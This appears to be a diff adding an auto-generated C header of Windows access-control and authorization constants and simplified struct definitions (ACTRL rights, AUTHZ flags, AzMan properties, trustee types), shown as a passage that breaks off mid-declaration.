+// SKIPPED const SDDL_EVERYONE: non-integer constant +// SKIPPED const SDDL_REPLICATOR: non-integer constant +// SKIPPED const SDDL_INTERACTIVE: non-integer constant +// SKIPPED const SDDL_NETWORK: non-integer constant +// SKIPPED const SDDL_SERVICE: non-integer constant +// SKIPPED const SDDL_RESTRICTED_CODE: non-integer constant +// SKIPPED const SDDL_WRITE_RESTRICTED_CODE: non-integer constant +// SKIPPED const SDDL_ANONYMOUS: non-integer constant +// SKIPPED const SDDL_SCHEMA_ADMINISTRATORS: non-integer constant +// SKIPPED const SDDL_CERT_SERV_ADMINISTRATORS: non-integer constant +// SKIPPED const SDDL_RAS_SERVERS: non-integer constant +// SKIPPED const SDDL_ENTERPRISE_ADMINS: non-integer constant +// SKIPPED const SDDL_GROUP_POLICY_ADMINS: non-integer constant +// SKIPPED const SDDL_ALIAS_PREW2KCOMPACC: non-integer constant +// SKIPPED const SDDL_LOCAL_SERVICE: non-integer constant +// SKIPPED const SDDL_NETWORK_SERVICE: non-integer constant +// SKIPPED const SDDL_REMOTE_DESKTOP: non-integer constant +// SKIPPED const SDDL_NETWORK_CONFIGURATION_OPS: non-integer constant +// SKIPPED const SDDL_PERFMON_USERS: non-integer constant +// SKIPPED const SDDL_PERFLOG_USERS: non-integer constant +// SKIPPED const SDDL_IIS_USERS: non-integer constant +// SKIPPED const SDDL_CRYPTO_OPERATORS: non-integer constant +// SKIPPED const SDDL_OWNER_RIGHTS: non-integer constant +// SKIPPED const SDDL_EVENT_LOG_READERS: non-integer constant +// SKIPPED const SDDL_ENTERPRISE_RO_DCs: non-integer constant +// SKIPPED const SDDL_CERTSVC_DCOM_ACCESS: non-integer constant +// SKIPPED const SDDL_ALL_APP_PACKAGES: non-integer constant +// SKIPPED const SDDL_RDS_REMOTE_ACCESS_SERVERS: non-integer constant +// SKIPPED const SDDL_RDS_ENDPOINT_SERVERS: non-integer constant +// SKIPPED const SDDL_RDS_MANAGEMENT_SERVERS: non-integer constant +// SKIPPED const SDDL_USER_MODE_DRIVERS: non-integer constant +// SKIPPED const SDDL_HYPER_V_ADMINS: non-integer constant +// SKIPPED const SDDL_CLONEABLE_CONTROLLERS: non-integer constant +// SKIPPED const SDDL_ACCESS_CONTROL_ASSISTANCE_OPS: non-integer constant +// SKIPPED const SDDL_REMOTE_MANAGEMENT_USERS: non-integer constant +// SKIPPED const SDDL_AUTHORITY_ASSERTED: non-integer constant +// SKIPPED const SDDL_SERVICE_ASSERTED: non-integer constant +// SKIPPED const SDDL_PROTECTED_USERS: non-integer constant +// SKIPPED const SDDL_KEY_ADMINS: non-integer constant +// SKIPPED const SDDL_ENTERPRISE_KEY_ADMINS: non-integer constant +// SKIPPED const SDDL_USER_MODE_HARDWARE_OPERATORS: non-integer constant +// SKIPPED const SDDL_OPENSSH_USERS: non-integer constant +// SKIPPED const SDDL_ML_LOW: non-integer constant +// SKIPPED const SDDL_ML_MEDIUM: non-integer constant +// SKIPPED const SDDL_ML_MEDIUM_PLUS: non-integer constant +// SKIPPED const SDDL_ML_HIGH: non-integer constant +// SKIPPED const SDDL_ML_SYSTEM: non-integer constant +// SKIPPED const SDDL_SEPERATOR: non-integer constant +// SKIPPED const SDDL_DELIMINATOR: non-integer constant +// SKIPPED const SDDL_ACE_BEGIN: non-integer constant +// SKIPPED const SDDL_ACE_END: non-integer constant +// SKIPPED const SDDL_ACE_COND_BEGIN: non-integer constant +// SKIPPED const SDDL_ACE_COND_END: non-integer constant +// SKIPPED const SDDL_SPACE: non-integer constant +// SKIPPED const SDDL_ACE_COND_BLOB_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_SID_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_ATTRIBUTE_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_USER_ATTRIBUTE_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_RESOURCE_ATTRIBUTE_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_DEVICE_ATTRIBUTE_PREFIX: non-integer constant +// SKIPPED const SDDL_ACE_COND_TOKEN_ATTRIBUTE_PREFIX: non-integer constant +#define INHERITED_ACCESS_ENTRY 0x10 +#define INHERITED_PARENT 0x10000000 +#define INHERITED_GRANDPARENT 0x20000000 +// SKIPPED const ACCCTRL_DEFAULT_PROVIDERA: non-integer constant +// SKIPPED const ACCCTRL_DEFAULT_PROVIDERW: non-integer constant +// SKIPPED const ACCCTRL_DEFAULT_PROVIDER: non-integer constant +#define TRUSTEE_ACCESS_ALLOWED 1 +#define TRUSTEE_ACCESS_READ 2 +#define TRUSTEE_ACCESS_WRITE 4 +#define TRUSTEE_ACCESS_EXPLICIT 1 +#define TRUSTEE_ACCESS_ALL -1 +#define ACTRL_RESERVED 0x0 +#define ACTRL_PERM_1 0x1 +#define ACTRL_PERM_2 0x2 +#define ACTRL_PERM_3 0x4 +#define ACTRL_PERM_4 0x8 +#define ACTRL_PERM_5 0x10 +#define ACTRL_PERM_6 0x20 +#define ACTRL_PERM_7 0x40 +#define ACTRL_PERM_8 0x80 +#define ACTRL_PERM_9 0x100 +#define ACTRL_PERM_10 0x200 +#define ACTRL_PERM_11 0x400 +#define ACTRL_PERM_12 0x800 +#define ACTRL_PERM_13 0x1000 +#define ACTRL_PERM_14 0x2000 +#define ACTRL_PERM_15 0x4000 +#define ACTRL_PERM_16 0x8000 +#define ACTRL_PERM_17 0x10000 +#define ACTRL_PERM_18 0x20000 +#define ACTRL_PERM_19 0x40000 +#define ACTRL_PERM_20 0x80000 +#define ACTRL_ACCESS_PROTECTED 0x1 +#define ACTRL_SYSTEM_ACCESS 0x4000000 +#define ACTRL_DELETE 0x8000000 +#define ACTRL_READ_CONTROL 0x10000000 +#define ACTRL_CHANGE_ACCESS 0x20000000 +#define ACTRL_CHANGE_OWNER 0x40000000 +#define ACTRL_SYNCHRONIZE 0x80000000 +#define ACTRL_STD_RIGHTS_ALL 0xf8000000 +#define ACTRL_FILE_READ 0x1 +#define ACTRL_FILE_WRITE 0x2 +#define ACTRL_FILE_APPEND 0x4 +#define ACTRL_FILE_READ_PROP 0x8 +#define ACTRL_FILE_WRITE_PROP 0x10 +#define ACTRL_FILE_EXECUTE 0x20 +#define ACTRL_FILE_READ_ATTRIB 0x80 +#define ACTRL_FILE_WRITE_ATTRIB 0x100 +#define ACTRL_FILE_CREATE_PIPE 0x200 +#define ACTRL_DIR_LIST 0x1 +#define ACTRL_DIR_CREATE_OBJECT 0x2 +#define ACTRL_DIR_CREATE_CHILD 0x4 +#define ACTRL_DIR_DELETE_CHILD 0x40 +#define ACTRL_DIR_TRAVERSE 0x20 +#define ACTRL_KERNEL_TERMINATE 0x1 +#define ACTRL_KERNEL_THREAD 0x2 +#define ACTRL_KERNEL_VM 0x4 +#define ACTRL_KERNEL_VM_READ 0x8 +#define ACTRL_KERNEL_VM_WRITE 0x10 +#define ACTRL_KERNEL_DUP_HANDLE 0x20 +#define ACTRL_KERNEL_PROCESS 0x40 +#define ACTRL_KERNEL_SET_INFO 0x80 +#define ACTRL_KERNEL_GET_INFO 0x100 +#define ACTRL_KERNEL_CONTROL 0x200 +#define ACTRL_KERNEL_ALERT 0x400 +#define ACTRL_KERNEL_GET_CONTEXT 0x800 +#define ACTRL_KERNEL_SET_CONTEXT 0x1000 +#define ACTRL_KERNEL_TOKEN 0x2000 +#define ACTRL_KERNEL_IMPERSONATE 0x4000 +#define ACTRL_KERNEL_DIMPERSONATE 0x8000 +#define ACTRL_PRINT_SADMIN 0x1 +#define ACTRL_PRINT_SLIST 0x2 +#define ACTRL_PRINT_PADMIN 0x4 +#define ACTRL_PRINT_PUSE 0x8 +#define ACTRL_PRINT_JADMIN 0x10 +#define ACTRL_SVC_GET_INFO 0x1 +#define ACTRL_SVC_SET_INFO 0x2 +#define ACTRL_SVC_STATUS 0x4 +#define ACTRL_SVC_LIST 0x8 +#define ACTRL_SVC_START 0x10 +#define ACTRL_SVC_STOP 0x20 +#define ACTRL_SVC_PAUSE 0x40 +#define ACTRL_SVC_INTERROGATE 0x80 +#define ACTRL_SVC_UCONTROL 0x100 +#define ACTRL_REG_QUERY 0x1 +#define ACTRL_REG_SET 0x2 +#define ACTRL_REG_CREATE_CHILD 0x4 +#define ACTRL_REG_LIST 0x8 +#define ACTRL_REG_NOTIFY 0x10 +#define ACTRL_REG_LINK 0x20 +#define ACTRL_WIN_CLIPBRD 0x1 +#define ACTRL_WIN_GLOBAL_ATOMS 0x2 +#define ACTRL_WIN_CREATE 0x4 +#define ACTRL_WIN_LIST_DESK 0x8 +#define ACTRL_WIN_LIST 0x10 +#define ACTRL_WIN_READ_ATTRIBS 0x20 +#define ACTRL_WIN_WRITE_ATTRIBS 0x40 +#define ACTRL_WIN_SCREEN 0x80 +#define ACTRL_WIN_EXIT 0x100 +#define ACTRL_ACCESS_NO_OPTIONS 0x0 +#define ACTRL_ACCESS_SUPPORTS_OBJECT_ENTRIES 0x1 +#define AUDIT_TYPE_LEGACY 0x1 +#define AUDIT_TYPE_WMI 0x2 +#define AP_ParamTypeBits 0x8 +#define AP_ParamTypeMask 255 +#define _AUTHZ_SS_MAXSIZE 0x80 +#define APF_AuditFailure 0x0 +#define APF_AuditSuccess 0x1 +#define APF_ValidFlags 0x1 +#define AUTHZP_WPD_EVENT 0x10 +#define AUTHZ_ALLOW_MULTIPLE_SOURCE_INSTANCES 0x1 +#define AUTHZ_MIGRATED_LEGACY_PUBLISHER 0x2 +#define AUTHZ_AUDIT_INSTANCE_INFORMATION 0x2 +#define AUTHZ_SKIP_TOKEN_GROUPS 0x2 +#define AUTHZ_REQUIRE_S4U_LOGON 0x4 +#define AUTHZ_COMPUTE_PRIVILEGES 0x8 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_INVALID 0x0 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_INT64 0x1 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_UINT64 0x2 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_STRING 0x3 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_FQBN 0x4 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_SID 0x5 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x6 +#define AUTHZ_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 +#define AUTHZ_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 0x1 +#define AUTHZ_SECURITY_ATTRIBUTES_INFORMATION_VERSION 0x1 +#define AUTHZ_RPC_INIT_INFO_CLIENT_VERSION_V1 0x1 +#define AUTHZ_INIT_INFO_VERSION_V1 0x1 +#define AUTHZ_WPD_CATEGORY_FLAG 0x10 +#define AUTHZ_FLAG_ALLOW_MULTIPLE_SOURCE_INSTANCES 0x1 +#define OLESCRIPT_E_SYNTAX -2147352319 +#define SE_UNKNOWN_OBJECT_TYPE 0 +#define SE_FILE_OBJECT 1 +#define SE_SERVICE 2 +#define SE_PRINTER 3 +#define SE_REGISTRY_KEY 4 +#define SE_LMSHARE 5 +#define SE_KERNEL_OBJECT 6 +#define SE_WINDOW_OBJECT 7 +#define SE_DS_OBJECT 8 +#define SE_DS_OBJECT_ALL 9 +#define SE_PROVIDER_DEFINED_OBJECT 10 +#define SE_WMIGUID_OBJECT 11 +#define SE_REGISTRY_WOW64_32KEY 12 +#define SE_REGISTRY_WOW64_64KEY 13 +#define NO_MULTIPLE_TRUSTEE 0 +#define TRUSTEE_IS_IMPERSONATE 1 +#define TRUSTEE_IS_UNKNOWN 0 +#define TRUSTEE_IS_USER 1 +#define TRUSTEE_IS_GROUP 2 +#define TRUSTEE_IS_DOMAIN 3 +#define TRUSTEE_IS_ALIAS 4 +#define TRUSTEE_IS_WELL_KNOWN_GROUP 5 +#define TRUSTEE_IS_DELETED 6 +#define TRUSTEE_IS_INVALID 7 +#define TRUSTEE_IS_COMPUTER 8 +#define AUTHZ_ACCESS_CHECK_NO_DEEP_COPY_SD 0x1 +#define TRUSTEE_IS_SID 0 +#define TRUSTEE_IS_NAME 1 +#define TRUSTEE_BAD_FORM 2 +#define TRUSTEE_IS_OBJECTS_AND_SID 3 +#define TRUSTEE_IS_OBJECTS_AND_NAME 4 +#define AuthzAuditEventInfoFlags 1 +#define AuthzAuditEventInfoOperationType 2 +#define AuthzAuditEventInfoObjectType 3 +#define AuthzAuditEventInfoObjectName 4 +#define AuthzAuditEventInfoAdditionalInfo 5 +#define ACTRL_ACCESS_ALLOWED 0x1 +#define ACTRL_ACCESS_DENIED 0x2 +#define ACTRL_AUDIT_SUCCESS 0x4 +#define ACTRL_AUDIT_FAILURE 0x8 +#define AZ_PROP_NAME 1 +#define AZ_PROP_DESCRIPTION 2 +#define AZ_PROP_WRITABLE 3 +#define AZ_PROP_APPLICATION_DATA 4 +#define AZ_PROP_CHILD_CREATE 5 +#define AZ_MAX_APPLICATION_NAME_LENGTH 512 +#define AZ_MAX_OPERATION_NAME_LENGTH 64 +#define AZ_MAX_TASK_NAME_LENGTH 64 +#define AZ_MAX_SCOPE_NAME_LENGTH 65536 +#define AZ_MAX_GROUP_NAME_LENGTH 64 +#define AZ_MAX_ROLE_NAME_LENGTH 64 +#define AZ_MAX_NAME_LENGTH 65536 +#define AZ_MAX_DESCRIPTION_LENGTH 1024 +#define AZ_MAX_APPLICATION_DATA_LENGTH 4096 +#define AZ_SUBMIT_FLAG_ABORT 1 +#define AZ_SUBMIT_FLAG_FLUSH 2 +#define AZ_MAX_POLICY_URL_LENGTH 65536 +#define AZ_AZSTORE_FLAG_CREATE 1 +#define AZ_AZSTORE_FLAG_MANAGE_STORE_ONLY 2 +#define AZ_AZSTORE_FLAG_BATCH_UPDATE 4 +#define AZ_AZSTORE_FLAG_AUDIT_IS_CRITICAL 8 +#define AZ_AZSTORE_FORCE_APPLICATION_CLOSE 16 +#define AZ_AZSTORE_NT6_FUNCTION_LEVEL 32 +#define AZ_AZSTORE_FLAG_MANAGE_ONLY_PASSIVE_SUBMIT 32768 +#define AZ_PROP_AZSTORE_DOMAIN_TIMEOUT 100 +#define AZ_AZSTORE_DEFAULT_DOMAIN_TIMEOUT 15000 +#define AZ_PROP_AZSTORE_SCRIPT_ENGINE_TIMEOUT 101 +#define AZ_AZSTORE_MIN_DOMAIN_TIMEOUT 500 +#define AZ_AZSTORE_MIN_SCRIPT_ENGINE_TIMEOUT 5000 +#define AZ_AZSTORE_DEFAULT_SCRIPT_ENGINE_TIMEOUT 45000 +#define AZ_PROP_AZSTORE_MAX_SCRIPT_ENGINES 102 +#define AZ_AZSTORE_DEFAULT_MAX_SCRIPT_ENGINES 120 +#define AZ_PROP_AZSTORE_MAJOR_VERSION 103 +#define AZ_PROP_AZSTORE_MINOR_VERSION 104 +#define AZ_PROP_AZSTORE_TARGET_MACHINE 105 +#define AZ_PROP_AZTORE_IS_ADAM_INSTANCE 106 +#define AZ_PROP_OPERATION_ID 200 +#define AZ_PROP_TASK_OPERATIONS 300 +#define AZ_PROP_TASK_BIZRULE 301 +#define AZ_PROP_TASK_BIZRULE_LANGUAGE 302 +#define AZ_PROP_TASK_TASKS 303 +#define AZ_PROP_TASK_BIZRULE_IMPORTED_PATH 304 +#define AZ_PROP_TASK_IS_ROLE_DEFINITION 305 +#define AZ_MAX_TASK_BIZRULE_LENGTH 65536 +#define AZ_MAX_TASK_BIZRULE_LANGUAGE_LENGTH 64 +#define AZ_MAX_TASK_BIZRULE_IMPORTED_PATH_LENGTH 512 +#define AZ_MAX_BIZRULE_STRING 65536 +#define AZ_PROP_GROUP_TYPE 400 +#define AZ_GROUPTYPE_LDAP_QUERY 1 +#define AZ_GROUPTYPE_BASIC 2 +#define AZ_GROUPTYPE_BIZRULE 3 +#define AZ_PROP_GROUP_APP_MEMBERS 401 +#define AZ_PROP_GROUP_APP_NON_MEMBERS 402 +#define AZ_PROP_GROUP_LDAP_QUERY 403 +#define AZ_MAX_GROUP_LDAP_QUERY_LENGTH 4096 +#define AZ_PROP_GROUP_MEMBERS 404 +#define AZ_PROP_GROUP_NON_MEMBERS 405 +#define AZ_PROP_GROUP_MEMBERS_NAME 406 +#define AZ_PROP_GROUP_NON_MEMBERS_NAME 407 +#define AZ_PROP_GROUP_BIZRULE 408 +#define AZ_PROP_GROUP_BIZRULE_LANGUAGE 409 +#define AZ_PROP_GROUP_BIZRULE_IMPORTED_PATH 410 +#define AZ_MAX_GROUP_BIZRULE_LENGTH 65536 +#define AZ_MAX_GROUP_BIZRULE_LANGUAGE_LENGTH 64 +#define AZ_MAX_GROUP_BIZRULE_IMPORTED_PATH_LENGTH 512 +#define AZ_PROP_ROLE_APP_MEMBERS 500 +#define AZ_PROP_ROLE_MEMBERS 501 +#define AZ_PROP_ROLE_OPERATIONS 502 +#define AZ_PROP_ROLE_TASKS 504 +#define AZ_PROP_ROLE_MEMBERS_NAME 505 +#define AZ_PROP_SCOPE_BIZRULES_WRITABLE 600 +#define AZ_PROP_SCOPE_CAN_BE_DELEGATED 601 +#define AZ_PROP_CLIENT_CONTEXT_USER_DN 700 +#define AZ_PROP_CLIENT_CONTEXT_USER_SAM_COMPAT 701 +#define AZ_PROP_CLIENT_CONTEXT_USER_DISPLAY 702 +#define AZ_PROP_CLIENT_CONTEXT_USER_GUID 703 +#define AZ_PROP_CLIENT_CONTEXT_USER_CANONICAL 704 +#define AZ_PROP_CLIENT_CONTEXT_USER_UPN 705 +#define AZ_PROP_CLIENT_CONTEXT_USER_DNS_SAM_COMPAT 707 +#define AZ_PROP_CLIENT_CONTEXT_ROLE_FOR_ACCESS_CHECK 708 +#define AZ_PROP_CLIENT_CONTEXT_LDAP_QUERY_DN 709 +#define AZ_PROP_APPLICATION_AUTHZ_INTERFACE_CLSID 800 +#define AZ_PROP_APPLICATION_VERSION 801 +#define AZ_MAX_APPLICATION_VERSION_LENGTH 512 +#define AZ_PROP_APPLICATION_NAME 802 +#define AZ_PROP_APPLICATION_BIZRULE_ENABLED 803 +#define AZ_PROP_APPLY_STORE_SACL 900 +#define AZ_PROP_GENERATE_AUDITS 901 +#define AZ_PROP_POLICY_ADMINS 902 +#define AZ_PROP_POLICY_READERS 903 +#define AZ_PROP_DELEGATED_POLICY_USERS 904 +#define AZ_PROP_POLICY_ADMINS_NAME 905 +#define AZ_PROP_POLICY_READERS_NAME 906 +#define AZ_PROP_DELEGATED_POLICY_USERS_NAME 907 +#define AZ_CLIENT_CONTEXT_SKIP_GROUP 1 +#define AZ_CLIENT_CONTEXT_SKIP_LDAP_QUERY 1 +#define AZ_CLIENT_CONTEXT_GET_GROUP_RECURSIVE 2 +#define AZ_CLIENT_CONTEXT_GET_GROUPS_STORE_LEVEL_ONLY 2 +#define AUTHZ_RM_FLAG_NO_AUDIT 0x1 +#define AUTHZ_RM_FLAG_INITIALIZE_UNDER_IMPERSONATION 0x2 +#define AUTHZ_RM_FLAG_NO_CENTRAL_ACCESS_POLICIES 0x4 +#define TREE_SEC_INFO_SET 0x1 +#define TREE_SEC_INFO_RESET 0x2 +#define TREE_SEC_INFO_RESET_KEEP_EXPLICIT 0x3 +#define AuthzContextInfoUserSid 1 +#define AuthzContextInfoGroupsSids 2 +#define AuthzContextInfoRestrictedSids 3 +#define AuthzContextInfoPrivileges 4 +#define AuthzContextInfoExpirationTime 5 +#define AuthzContextInfoServerContext 6 +#define AuthzContextInfoIdentifier 7 +#define AuthzContextInfoSource 8 +#define AuthzContextInfoAll 9 +#define AuthzContextInfoAuthenticationId 10 +#define AuthzContextInfoSecurityAttributes 11 +#define AuthzContextInfoDeviceSids 12 +#define AuthzContextInfoUserClaims 13 +#define AuthzContextInfoDeviceClaims 14 +#define AuthzContextInfoAppContainerSid 15 +#define AuthzContextInfoCapabilitySids 16 +#define AUTHZ_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x1 +#define AUTHZ_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x2 +#define ProgressInvokeNever 1 +#define ProgressInvokeEveryObject 2 +#define ProgressInvokeOnError 3 +#define ProgressCancelOperation 4 +#define ProgressRetryOperation 5 +#define ProgressInvokePrePostError 6 +#define AUTHZ_NO_SUCCESS_AUDIT 0x1 +#define AUTHZ_NO_FAILURE_AUDIT 0x2 +#define AUTHZ_NO_ALLOC_STRINGS 0x4 +#define NOT_USED_ACCESS 0 +#define GRANT_ACCESS 1 +#define SET_ACCESS 2 +#define DENY_ACCESS 3 +#define REVOKE_ACCESS 4 +#define SET_AUDIT_SUCCESS 5 +#define SET_AUDIT_FAILURE 6 +#define AUTHZ_GENERATE_SUCCESS_AUDIT 0x1 +#define AUTHZ_GENERATE_FAILURE_AUDIT 0x2 +#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_NONE 0 +#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_REPLACE_ALL 1 +#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_ADD 2 +#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_DELETE 3 +#define AUTHZ_SECURITY_ATTRIBUTE_OPERATION_REPLACE 4 +#define APT_None 1 +#define APT_String 2 +#define APT_Ulong 3 +#define APT_Pointer 4 +#define APT_Sid 5 +#define APT_LogonId 6 +#define APT_ObjectTypeList 7 +#define APT_Luid 8 +#define APT_Guid 9 +#define APT_Time 10 +#define APT_Int64 11 +#define APT_IpAddress 12 +#define APT_LogonIdWithSid 13 +#define AUTHZ_SID_OPERATION_NONE 0 +#define AUTHZ_SID_OPERATION_REPLACE_ALL 1 +#define AUTHZ_SID_OPERATION_ADD 2 +#define AUTHZ_SID_OPERATION_DELETE 3 +#define AUTHZ_SID_OPERATION_REPLACE 4 + +// SKIPPED struct AzBizRuleContext: no representable fields +typedef struct _INHERITED_FROMW { + int GenerationGap; + void* AncestorName; +} INHERITED_FROMW; + +typedef struct _AUDIT_IP_ADDRESS { + unsigned char pIpAddress[128]; +} AUDIT_IP_ADDRESS; + +typedef struct _TRUSTEE_ACCESSA { + void* lpProperty; + unsigned int Access; + unsigned int fAccessFlags; + unsigned int fReturnedAccess; +} TRUSTEE_ACCESSA; + +typedef struct _ACTRL_ACCESS_ENTRY_LISTA { + unsigned int cEntries; + void* pAccessList; +} ACTRL_ACCESS_ENTRY_LISTA; + +typedef struct _ACTRL_ACCESSA { + unsigned int cEntries; + void* pPropertyAccessList; +} ACTRL_ACCESSA; + +typedef struct _ACTRL_ACCESS_INFOW { + unsigned int fAccessPermission; + void* lpAccessPermissionName; +} ACTRL_ACCESS_INFOW; + +typedef struct _AUDIT_PARAM { + void* Type; + unsigned int Length; + unsigned int Flags; + void* Anonymous1; + void* Anonymous2; +} AUDIT_PARAM; + +typedef struct _ACTRL_ACCESS_ENTRYA { + void* Trustee; + void* fAccessFlags; + unsigned int Access; + unsigned int ProvSpecificAccess; + void* Inheritance; + void* lpInheritProperty; +} ACTRL_ACCESS_ENTRYA; + +typedef struct _AUTHZ_CAP_CHANGE_SUBSCRIPTION_HANDLE { + void* Value; +} AUTHZ_CAP_CHANGE_SUBSCRIPTION_HANDLE; + +typedef struct _AUTHZ_RESOURCE_MANAGER_HANDLE { + void* Value; +} AUTHZ_RESOURCE_MANAGER_HANDLE; + +typedef struct _AUTHZ_ACCESS_REPLY { + unsigned int ResultListLength; + void* GrantedAccessMask; + void* SaclEvaluationResults; + void* Error; +} AUTHZ_ACCESS_REPLY; + +typedef struct _ACTRL_PROPERTY_ENTRYA { + void* lpProperty; + void* pAccessEntryList; + unsigned int fListFlags; +} ACTRL_PROPERTY_ENTRYA; + +typedef struct _AUTHZ_AUDIT_EVENT_TYPE_LEGACY { + unsigned short CategoryId; + unsigned short AuditId; + unsigned short ParameterCount; +} AUTHZ_AUDIT_EVENT_TYPE_LEGACY; + +// SKIPPED struct AzAuthorizationStore: no representable fields +typedef struct _AUTHZ_SECURITY_ATTRIBUTE_V1 { + void* pName; + unsigned short ValueType; + unsigned short Reserved; + void* Flags; + unsigned int ValueCount; + void* Values; +} AUTHZ_SECURITY_ATTRIBUTE_V1; + +typedef struct _AUTHZ_SECURITY_EVENT_PROVIDER_HANDLE { + void* Value; +} AUTHZ_SECURITY_EVENT_PROVIDER_HANDLE; + +typedef struct _TRUSTEE_W { + void* pMultipleTrustee; + void* MultipleTrusteeOperation; + void* TrusteeForm; + void* TrusteeType; + void* ptstrName; +} TRUSTEE_W; + +typedef struct _AUTHZ_SECURITY_ATTRIBUTE_FQBN_VALUE { + unsigned long long Version; + void* pName; +} AUTHZ_SECURITY_ATTRIBUTE_FQBN_VALUE; + +typedef struct _AUTHZ_REGISTRATION_OBJECT_TYPE_NAME_OFFSET { + void* szObjectTypeName; + unsigned int dwOffset; +} AUTHZ_REGISTRATION_OBJECT_TYPE_NAME_OFFSET; + +typedef struct _INHERITED_FROMA { + int GenerationGap; + void* AncestorName; +} INHERITED_FROMA; + +typedef struct _ACTRL_OVERLAPPED { + void* Anonymous; + unsigned int Reserved2; + void* hEvent; +} ACTRL_OVERLAPPED; + +typedef struct _AUTHZ_AUDIT_EVENT_HANDLE { + void* Value; +} AUTHZ_AUDIT_EVENT_HANDLE; + +typedef struct _EXPLICIT_ACCESS_A { + unsigned int grfAccessPermissions; + void* grfAccessMode; + void* grfInheritance; + void* Trustee; +} EXPLICIT_ACCESS_A; + +typedef struct _AUTHZ_CLIENT_CONTEXT_HANDLE { + void* Value; +} AUTHZ_CLIENT_CONTEXT_HANDLE; + +typedef struct _OBJECTS_AND_SID { + void* ObjectsPresent; + void* ObjectTypeGuid; + void* InheritedObjectTypeGuid; + void* pSid; +} OBJECTS_AND_SID; + +typedef struct _AUTHZ_ACCESS_CHECK_RESULTS_HANDLE { + void* Value; +} AUTHZ_ACCESS_CHECK_RESULTS_HANDLE; + +typedef struct _AUTHZ_INIT_INFO { + unsigned short version; + void* szResourceManagerName; + void* pfnDynamicAccessCheck; + void* pfnComputeDynamicGroups; + void* pfnFreeDynamicGroups; + void* pfnGetCentralAccessPolicy; + void* pfnFreeCentralAccessPolicy; +} AUTHZ_INIT_INFO; + +typedef struct _ACTRL_ACCESS_ENTRY_LISTW { + unsigned int cEntries; + void* pAccessList; +} ACTRL_ACCESS_ENTRY_LISTW; + +typedef struct _AUDIT_OBJECT_TYPES { + unsigned short Count; + unsigned short Flags; + void* pObjectTypes; +} AUDIT_OBJECT_TYPES; + +typedef struct _ACTRL_ACCESS_INFOA { + unsigned int fAccessPermission; + void* lpAccessPermissionName; +} ACTRL_ACCESS_INFOA; + +typedef struct _ACTRL_CONTROL_INFOW { + void* lpControlId; + void* lpControlName; +} ACTRL_CONTROL_INFOW; + +typedef struct _ACTRL_CONTROL_INFOA { + void* lpControlId; + void* lpControlName; +} ACTRL_CONTROL_INFOA; + +typedef struct _ACTRL_ACCESSW { + unsigned int cEntries; + void* pPropertyAccessList; +} ACTRL_ACCESSW; + +typedef struct _AUTHZ_AUDIT_EVENT_TYPE_UNION { + void* Legacy; +} AUTHZ_AUDIT_EVENT_TYPE_UNION; + +typedef struct _AUTHZ_AUDIT_EVENT_TYPE_OLD { + unsigned int Version; + unsigned int dwFlags; + int RefCount; + unsigned long long hAudit; + void* LinkId; + void* u; +} AUTHZ_AUDIT_EVENT_TYPE_OLD; + +typedef struct _EXPLICIT_ACCESS_W { + unsigned int grfAccessPermissions; + void* grfAccessMode; + void* grfInheritance; + void* Trustee; +} EXPLICIT_ACCESS_W; + +typedef struct _FN_OBJECT_MGR_FUNCTS { + unsigned int Placeholder; +} FN_OBJECT_MGR_FUNCTS; + +typedef struct _AUTHZ_SECURITY_ATTRIBUTES_INFORMATION { + unsigned short Version; + unsigned short Reserved; + unsigned int AttributeCount; + void* Attribute; +} AUTHZ_SECURITY_ATTRIBUTES_INFORMATION; + +typedef struct _TRUSTEE_A { + void* pMultipleTrustee; + void* MultipleTrusteeOperation; + void* TrusteeForm; + void* TrusteeType; + void* ptstrName; +} TRUSTEE_A; + +typedef struct _OBJECTS_AND_NAME_W { + void* ObjectsPresent; + void* ObjectType; + void* ObjectTypeName; + void* InheritedObjectTypeName; + void* ptstrName; +} OBJECTS_AND_NAME_W; + +typedef struct _AUTHZ_ACCESS_REQUEST { + unsigned int DesiredAccess; + void* PrincipalSelfSid; + void* ObjectTypeList; + unsigned int ObjectTypeListLength; + void* OptionalArguments; +} AUTHZ_ACCESS_REQUEST; + +typedef struct _OBJECTS_AND_NAME_A { + void* ObjectsPresent; + void* ObjectType; + void* ObjectTypeName; + void* InheritedObjectTypeName; + void* ptstrName; +} OBJECTS_AND_NAME_A; + +typedef struct _AUDIT_OBJECT_TYPE { + void* ObjectType; + unsigned short Flags; + unsigned short Level; + unsigned int AccessMask; +} AUDIT_OBJECT_TYPE; + +typedef struct _AUTHZ_AUDIT_EVENT_TYPE_HANDLE { + void* Value; +} AUTHZ_AUDIT_EVENT_TYPE_HANDLE; + +typedef struct _AUTHZ_RPC_INIT_INFO_CLIENT { + unsigned short version; + void* ObjectUuid; + void* ProtSeq; + void* NetworkAddr; + void* Endpoint; + void* Options; + void* ServerSpn; +} AUTHZ_RPC_INIT_INFO_CLIENT; + +typedef struct _AUTHZ_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE { + void* pValue; + unsigned int ValueLength; +} AUTHZ_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; + +// SKIPPED struct AzPrincipalLocator: no representable fields +typedef struct _TRUSTEE_ACCESSW { + void* lpProperty; + unsigned int Access; + unsigned int fAccessFlags; + unsigned int fReturnedAccess; +} TRUSTEE_ACCESSW; + +typedef struct _AUDIT_PARAMS { + unsigned int Length; + unsigned int Flags; + unsigned short Count; + void* Parameters; +} AUDIT_PARAMS; + +typedef struct 